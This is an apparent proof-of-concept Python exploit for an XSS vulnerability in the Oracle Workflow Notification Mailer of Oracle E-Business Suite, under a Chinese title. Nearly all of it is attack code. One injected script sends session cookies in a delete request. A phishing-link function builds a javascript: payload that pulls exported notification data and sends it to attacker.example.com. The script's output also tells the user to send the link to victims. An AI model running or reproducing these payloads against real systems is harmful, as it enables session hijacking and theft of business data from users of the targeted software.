CVE-2025-53052 Oracle Workflow通知邮件器跨站脚本漏洞

# CVE-2025-53052 - Oracle Workflow Notification Mailer XSS PoC # Vulnerability: Reflected/Stored XSS in Oracle Workflow Notification Mailer # Affected: Oracle E-Business Suite 12.2.3 - 12.2.14 import requests TARGET_URL = "https://target-oracle-ebs.example.com/OA_HTML/OA.jsp" # Oracle Workflow Notification Mailer endpoint NOTIFICATION_ENDPOINT = "/OA_HTML/wf_notification_mailer.jsp" def exploit_xss(base_url, param_name="notificationId", payload=None): """ Exploit reflected XSS in Oracle Workflow Notification Mailer The notificationId or similar parameter is reflected without proper sanitization """ if payload is None: # XSS payload to steal session data or perform unauthorized actions payload = ( '<script>' 'var xhr = new XMLHttpRequest();' 'xhr.open("POST", "/OA_HTML/wf_update_data.jsp", true);' 'xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");' 'xhr.send("action=delete&item=" + document.cookie);' '</script>' ) # Craft the malicious URL params = {param_name: payload} malicious_url = f"{base_url}{NOTIFICATION_ENDPOINT}" print(f"[*] Malicious URL: {malicious_url}") print(f"[*] Payload parameter: {param_name}={payload}") # Verify the endpoint is vulnerable response = requests.get(malicious_url, params=params, verify=False) if payload in response.text: print("[+] Target appears vulnerable! Payload reflected in response.") print("[+] Send this URL to a victim user to trigger the XSS attack.") return True else: print("[-] Payload not reflected. Target may not be vulnerable or WAF is in place.") return False def craft_phishing_link(base_url): """ Craft a phishing link to be sent to the victim """ payload = "javascript:fetch('/OA_HTML/wf_notif_data?export=true',{credentials:'same-origin'}).then(r=>r.text()).then(d=>fetch('https://attacker.example.com/steal?d='+btoa(d)))" link = f"{base_url}{NOTIFICATION_ENDPOINT}?redirect={payload}" print(f"[*] Phishing link: {link}") return link if __name__ == "__main__": exploit_xss(TARGET_URL) craft_phishing_link(TARGET_URL)